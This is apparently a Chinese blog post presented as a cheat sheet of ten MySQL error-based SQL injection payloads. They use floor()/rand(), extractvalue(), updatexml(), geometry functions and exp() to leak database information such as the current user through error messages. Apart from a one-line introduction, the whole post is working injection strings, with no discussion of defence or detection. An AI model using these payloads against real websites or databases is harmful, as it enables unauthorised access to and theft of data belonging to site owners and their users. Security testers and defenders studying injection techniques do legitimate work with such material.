本文详细介绍了多种SQL注入攻击手法，包括：1.floor()、2.extractvalue()、3.updatexml()、4.geometrycollection()、5.multipoint()、6.polygon()、7.multipolygon()、8.linestring()、9.multilinestring()和10.exp()。这些攻击利用了数据库查询语句的漏洞，通过构造恶意SQL来获取敏感信息或执行非法操作。
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
扫一扫
3776
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
